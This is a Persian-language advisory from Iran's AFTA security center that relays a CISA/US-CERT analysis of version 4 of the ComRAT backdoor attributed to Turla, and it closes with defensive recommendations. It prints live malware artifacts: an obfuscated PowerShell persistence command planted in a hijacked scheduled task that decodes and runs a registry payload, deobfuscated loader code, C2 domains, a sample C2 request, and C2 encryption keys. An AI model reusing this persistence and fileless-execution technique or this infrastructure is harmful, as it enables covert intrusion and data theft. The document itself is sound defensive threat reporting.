هشدارهای افتایی
چند نهاد امنیتی ایالات متحده نسبت به انتشار نسخه‌ای جدید از بدافزار ComRAT هشدار داده‌اند. ComRAT منتسب به گروهی از هکرهای روسی با عنوان Turla است. این گروه اجرای حملات مبتنی بر تهدیدهای پیشرفته و مستمر (Advanced Persistent Threat – به اختصار APT) را در کارنامه دارد.
به گزارش معاونت بررسی مرکز افتا به نقل از سایت us-cert.cisa، در جریان حملات اخیر مهاجمان از چند اسکریپت PowerShell و فایل DLL برای آلوده کردن دستگاه به نسخه 4 بدافزار ComRAT استفاده می‌کنند.
بر اساس گزارشی که از سوی نهادهای مذکور منتشر شده، این نسخه جدید از ComRAT شامل فایل‌های DLL با معماری 32 بیتی و 64 بیتی است که به‌عنوان ماژول ارتباطی به مرورگر پیش‌فرض دستگاه قربانی تزریق می‌شوند. ComRAT و ماژول ارتباطی با یکدیگر از طریق یک افزونه موسوم به Named Pipe ارتباط برقرار می‌کنند. عملکرد درب‌پشتی (Backdoor) بدافزار از Named Pipe برای ارسال / دریافت درخواست‌ها / پاسخ‌های HTTP بهره می‌گیرد. همچنین از رابط تحت وب سرویس‌دهنده Gmail برای دریافت فرامین و ارسال داده‌های استخراج شده استفاده می‌کند. نسخه 4 بدافزار ComRAT مجهز به سیستم فایل مجازی (Virtual File System – به اختصار VFS) در قالب FAT16 است که شامل فایل‌های پیکربندی و لاگ است.
در ادامه این مطلب برخی فایل های مورد استفاده در این حملات مورد بررسی قرار گرفته است.

corrected.ps1
فایل corrected.ps1 یک اسکریپت مبتنی بر PowerShell و به‌شدت مبهم‌سازی شده است که اقدام به ثبت یک اسکریپت مخرب PowerShell دیگر در ثبات (Registry) دستگاه قربانی می‌کند. 
corrected.ps1 فرمان زمانبندی‌شده (Scheduled Task) زیر را مورد دست‌درازی قرار می‌دهد:
—Begin Modified Scheduled Task—
C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator
—End Modified Scheduled Task—
در نتیجه این دست‌درازی، فرمان اسکریپت مخرب PowerShell را اجرا می‌کند.
کدهای فرمان در وضعیت اصلی و دست‌نخورده به شرح زیر است:
—Begin Original Scheduled Task—
<?xml version="1.0" encoding="UTF-16"?>
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
   <Version>1.0</Version>
   <SecurityDescriptor>D:(A;OICI;FA;;;BA)(A;OICI;FA;;;SY)(A;OICI;GRGX;;;AU)</SecurityDescriptor>
   <Source>$(@%systemRoot%\system32\wsqmcons.exe,-106)</Source>
   <Author>$(@%systemRoot%\system32\wsqmcons.exe,-108)</Author>
   <Description>$(@%systemRoot%\system32\wsqmcons.exe,-107)</Description>
   <URI>\Microsoft\Windows\Customer Experience Improvement Program\Consolidator</URI>
</RegistrationInfo>
<Principals>
   <Principal id="WinSQMAccount">
    <UserId>S-1-5-18</UserId>
   </Principal>
</Principals>
<Settings>
   <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
   <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
   <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
   <StartWhenAvailable>true</StartWhenAvailable>
   <IdleSettings>
    <StopOnIdleEnd>true</StopOnIdleEnd>
    <RestartOnIdle>false</RestartOnIdle>
   </IdleSettings>
   <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
</Settings>
<Triggers>
   <TimeTrigger>
    <StartBoundary>2004-01-02T00:00:00</StartBoundary>
    <Repetition>
       <Interval>PT6H</Interval>
    </Repetition>
   </TimeTrigger>
</Triggers>
<Actions Context="WinSQMAccount">
   <Exec>
    <Command>%SystemRoot%\System32\wsqmcons.exe</Command>
   </Exec>
</Actions>
</Task>
—End Original Scheduled Task—
پس از دست‌درازی اسکریپت مخرب، کدها به‌صورت زیر تغییر می‌یابد:
—Begin Modified Scheduled Task—
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
   <Source>$(@%systemRoot%\system32\wsqmcons.exe,-106)</Source>
   <Author>$(@%systemRoot%\system32\wsqmcons.exe,-108)</Author>
   <Version>1.0</Version>
   <Description>$(@%systemRoot%\system32\wsqmcons.exe,-107)</Description>
   <URI>\Microsoft\Windows\Customer Experience Improvement Program\Consolidator</URI>
   <SecurityDescriptor>D:(A;OICI;FA;;;BA)(A;OICI;FA;;;SY)(A;OICI;GRGX;;;AU)</SecurityDescriptor>
</RegistrationInfo>
<Triggers>
   <TimeTrigger>
    <Repetition>
       <Interval>PT6H</Interval>
       <StopAtDurationEnd>false</StopAtDurationEnd>
    </Repetition>
    <StartBoundary>2004-01-02T00:00:00</StartBoundary>
    <Enabled>true</Enabled>
   </TimeTrigger>
   <LogonTrigger>
    <Enabled>true</Enabled>
   </LogonTrigger>
</Triggers>
<Principals>
   <Principal id="WinSQMAccount">
    <RunLevel>LeastPrivilege</RunLevel>
    <UserId>SYSTEM</UserId>
   </Principal>
</Principals>
<Settings>
   <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
   <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
   <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
   <AllowHardTerminate>true</AllowHardTerminate>
   <StartWhenAvailable>true</StartWhenAvailable>
   <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
   <IdleSettings>
    <StopOnIdleEnd>true</StopOnIdleEnd>
    <RestartOnIdle>false</RestartOnIdle>
   </IdleSettings>
   <AllowStartOnDemand>true</AllowStartOnDemand>
   <Enabled>true</Enabled>
   <Hidden>false</Hidden>
   <RunOnlyIfIdle>false</RunOnlyIfIdle>
   <DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
   <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
   <WakeToRun>false</WakeToRun>
   <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
   <Priority>7</Priority>
</Settings>
<Actions Context="WinSQMAccount">
   <Exec>
    <Command>cmd.exe</Command>
    <Arguments>/c "%SystemRoot%\System32\wsqmcons.exe &amp; PowerShell.exe -v 2 "$GS459ea = 'KVYYOBBA4331110uhyicnoor';
[Text.Encoding]::ASCII.GetString([Convert]::\"Fr`omBa`se6`4Str`ing\"((gp HKLM:\SOFTWARE\Microsoft\SQMClient\Windows).WSqmCons))|iex;
""</Arguments>
   </Exec>
</Actions>
</Task>
—End Modified Scheduled Task—
با نگاهی به بخش تغییر یافته زیر می‌توان دریافت که هدف، رمزگشایی و اجرای یک اسکریپت اشاره شده در کلید WsqmCons در ثبات است.
—Begin Specific Scheduled Task Module—
<Actions Context="WinSQMAccount">
   <Exec>
    <Command>cmd.exe</Command>
    <Arguments>/c "%SystemRoot%\System32\wsqmcons.exe &amp; PowerShell.exe -v 2 "$GS459ea = 'KVYYOBBA4331110uhyicnoor';
[Text.Encoding]::ASCII.GetString([Convert]::\"Fr`omBa`se6`4Str`ing\"((gp HKLM:\SOFTWARE\Microsoft\SQMClient\Windows).WSqmCons))|iex;
""</Arguments>
—End Specific Scheduled Task Module—
مشخصات فایل corrected.ps1 و وضعیت شناسایی آن توسط محصولات ضدویروس در لینک زیر قابل مطالعه است.

Decode_PowerShell.ps1
یک اسکریپت به‌شدت مبهم‌سازی شده است که توسط corrected.ps1 بر روی دستگاه قربانی نصب می‌شود. وظیفه این اسکریپت، رمزگشایی و فراخوانی یک DLL با نام ComRATv4.exe است.
با رمزگشایی به کدهای زیر می‌رسیم. از این توابع برای استخراج DLL پیش از اجرای آن بر روی سیستم استفاده می‌شود.
 
—Begin PowerShell Helper Functions—
   using System;
   using System.IO;
   using System.IO.Compression;
   public static class CD475bjf{
       public static void DBQ800fc(Stream input, Stream output){byte[] buffer = new byte[16 * 1024];
       int bytesRead;
       while((bytesRead = input.Read(buffer, 0, buffer.Length)) > 0){
           output.Write(buffer, 0, bytesRead);
       }}}
   
   public static class MAE38aee{
   
       public static byte[] JZ653jdh(byte[] arrayToCompress){
           using (MemoryStream outStream = new MemoryStream()){using (GZipStream tinyStream = new GZipStream(outStream, CompressionMode.Compress))using (MemoryStream mStream = new MemoryStream(arrayToCompress))CD475bjf.DBQ800fc(mStream, tinyStream);
       return outStream.ToArray();
   }}
   
       public static byte[] PGN255ij(byte[] arrayToDecompress){        
           using (MemoryStream inStream = new MemoryStream(arrayToDecompress))using (GZipStream bigStream = new GZipStream(inStream, CompressionMode.Decompress))using (MemoryStream bigStreamOut = new MemoryStream()){CD475bjf.DBQ800fc(bigStream, bigStreamOut);
       return bigStreamOut.ToArray();
   }}}
#decode base64 above
$decompress = [Convert]::FromBase64String($decompressbase64);
#create another text object for use later
$NS70gea = New-Object System.Text.ASCIIEncoding;
#convert base64 decoded value to string
$decompress = $NS70gea.GetString($decompress,0,$decompress.Length);
—End PowerShell Helper Functions—
تصویر زیر بخشی از کدی که در اسکریپت تزریق شده را نشان می‌دهد:
 

اسکریپت مهبم‌سازی‌شده شامل تابعی با نام Run است که قادر به فراخوانی یک DLL، مستقیما از حافظه و تزریق آن به پروسه از راه دور است:
 

اسکریپت PowerShell کد DLL بدافزار ComRAT را به پروسه Windows Explorer تزریق می‌کند.
مشخصات فایل Decode_PowerShell.ps1 و وضعیت شناسایی آن توسط محصولات ضدویروس در لینک زیر قابل مطالعه است:
ComRATv4.exe
ComRATv4.exe فایلی از نوع DLL است که به‌عنوان یکی از ماژول‌های ComRAT شناسایی می‌شود. این فایل توسط Decode_PowerShell.ps1 در پروسه Explorer.exe تزریق می‌شود. پس از فراخوانی، تاریخ/ساعت دستگاه را بررسی کرده و اجرا را به روزهای دوشنبه تا جمعه از ساعت 9 صبح تا 5 عصر محدود می‌کند. در حین اجرا، فایل‌های زیر را در مسیر %Temp% ذخیره می‌کند.
 
--Begin files--
"%TEMP%\iecache.bin" ==> an AES-256-XTS encrypted VFS FAT16 format, containing the malware configuration and the logs files. (The encryption key is generated during runtime and stored in the Windows registry).
"%TEMP%\FSAPIDebugLogFile.txt
--End files—

این بدافزار یک ماژول ارتباطی (Communication_module_32.dll یا Communication_module_64.dll) را نیز در مرورگر پیش‌فرض سیستم تزریق کرده و آن را اجرا می‌کند. این فایل و ماژول ارتباطی با یکدیگر از طریق یک افزونه موسوم به Named Pipe ارتباط برقرار می‌کنند. عملکرد درب‌پشتی بدافزار از Named Pipe برای ارسال / دریافت درخواست‌ها / پاسخ‌های HTTP بهره می‌گیرد. همچنین از رابط تحت وب سرویس‌دهنده Gmail برای دریافت فرامین و ارسال داده‌های استخراج شده استفاده می‌کند.
نمونه داده‌های زیر در سیستم فایل مجازی در قالب FAT16 پس از رمزگشایی استخراج شده‌اند. برخی از این فایل‌ها می‌توانند توسط فرامین درب‌پشتی در این سیستم فایل مجازی به‌روز شوند.
 
--Begin sample data in the VFS --
"/etc/pal/" contains a list of C2 domains: "bronerg.tk|crusider.tk|duke6.tk"
"/etc/gal.bin" contains a list of C2 domains: "sanitar.ml|wekanda.tk|branter.tk"
"/etc/pki/aes_key.pki" : Contains the Advanced Encryption Standard (AES) encryption keys for the C2 communications:
 
--Begin AES key--
4F8112E9E5AB5391C584D567B58E539F0400094A83EA0C2DDC7FA455FCF447B1
--End AES key--
"/etc/pki/public_cert.pki" contains the Rivest–Shamir–Adleman (RSA) encryption key used for the C2 communications:
--Begin RSA key--
BE51E00093CEB0A5FCAE59EB4EEEB3079D1CB17FC195321587CB513003826917B0BC13EB3B9A4209A4FFAF19C07249D360F447A6FAE3936612516A152619B800C4BE12FFF7077D7AF959ABBFD0A1BC06CD3B9D8DBC079307D79B78E4C7F114DE3B530DF40E40C14299D47CD6530A765B1F2717EAA66AD139B3F6728AFFFC5B6AB3E2B36FB062AD167E2B4450A295038A211E0A8E8BFE01FE338ACF883518099663E95B6266AB037224A32853002A47248012567455AC75939FDFC4018D86C2A6D72770887A8FE0678F5E7BC527FB4787D70923FC6909ACF8DC651F93B5E537ABF860B3262723FB2181E9132E381D892A8864BAB38687231B1E47C00BF10BC445010001
--End RSA key—
 

این بدافزار از رمزگذاری‌های RSA و AES در ارتباط با کانال فرماندهی (C2) خود در Gmail بهره می‌گیرد. 
مشخصات فایل ComRATv4.exe و وضعیت شناسایی آن توسط محصولات ضدویروس در لینک زیر قابل مطالعه است:
Communication_module_32.dll و Communication_module_64.dll
بسته به معماری سیستم، یکی از فایل‌های Communication_module_32.dll و Communication_module_64.dll در نقش ماژول ارتباطی توسط ComRATv4.exe به مرورگر پیش‌فرض دستگاه قربانی تزریق می‌شود. این پروسه به‌نحوی طراحی شده که از پودمان HTTP و یک رابط تحت وب Gmail در برقراری ارتباط با مهاجمان استفاده کند. جهت ارتباط با سرور فرماندهی از ارتباطات امن استفاده می‌شود.
 
--Begin list of domains--
bronerg.tk
crusider.tk
duke6.tk
sanitar.ml
wekanda.tk
branter.tk
--End list of domains—
نمونه‌ای از درخواست ارسالی در زیر قابل مشاهده است:
--Begin header--
CONNECT bronerg[.]tk:443 HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: bronerg.tk:443
Content-Length: 0
Connection: Keep-Alive
--End header--
مشخصات فایل‌های Communication_module_32.dll و Communication_module_64.dll و وضعیت شناسایی آن‌ها توسط محصولات ضدویروس در لینک زیر قابل مطالعه است: در گزارش مذکور رعایت موارد زیر در مقابله با این تهدیدات توصیه شده است:
  •     بهره‌گیری از ضدویروس با امضا (Signature) و هسته اجرایی (Engine) به‌روز
  •     اطمینان از نصب کامل اصلاحیه‌های امنیتی سیستم‌عامل
  •     غیرفعال‌سازی سرویس‌های به‌اشتراک‌گذاری فایل و چاپگر (File and Printer Sharing Services)؛ در صورت لزوم استفاده از آن‌ها از رمزهای قدرتمند یا اصالت‌سنجی Active Directory استفاده شود.
  •     محدود کردن دسترسی کاربران در نصب و اجرای برنامه‌های ناخواسته؛ مگر در صورت لزوم کاربران به گروه Local Administrators افزوده نشوند.
  •     اعمال یک سیاست رمز عبور قدرتمند و تغییر دوره‌ای آن‌ها
  •     دقت در زمان باز کردن پیوست‌های ایمیل حتی در صورت آشنا بودن فرستنده یا عادی به نظر رسیدن پیوست
  •     فعال‌سازی دیواره آتش محلی بر روی ایستگاه‌های کاری به‌منظور مسدودسازی درخواست‌های ناخواسته
  •     غیرفعال کردن سرویس‌های غیرضروری بر روی ایستگاه‌های کاری و سرورها
  •     پویش و حذف پیوست‌های ایمیل مشکوک و اطمینان از اینکه پسوند پیوست با سرایند فایل مطابقت دارد
  •     رصد رفتار کاربران در مرور صفحات وب و محدود کردن دسترسی به سایت‌های با محتوای غیرمرتبط
  •     احتیاط در زمان استفاده از حافظه‌های جداشدنی (نظیر حافظه‌های USB، درایوهای خارجی، لوح‌های فشرده و ...)
  •     پویش تمامی نرم‌افزارهای دریافت شده از اینترنت پیش از اجرای آن‌ها
  •     آگاهی‌بخشی در خصوص آخرین تهدیدات و اعمال فهرست‌های مناسب کنترل دسترسی (Access Control List – به اختصار ACL)
فهرست نشانه‌های آلودگی (IoC) از مسیر زیر قابل دریافت است:
منبع:
(با سپاس از شرکت مهندسی شبکه گستر برای همکاری در تهیه این گزارش)
 

 
امتیاز دهی
 
 

  • ارسال به دوستان
نام ارسال کننده :  
ایمیل ارسال کننده:
نام دریافت کننده :
ایمیل دریافت کننده :  
موضوع ایمیل :
کد تصویری :
 
 
امتیاز دهی
 
 


آدرس:
تهران، خیابان استاد شهید مطهری، خیابان میرزای شیرازی، کوچه شهدا، پلاک یک، مرکز مدیریت راهبردی افتا


ایمیل:
info@afta.gov.ir

.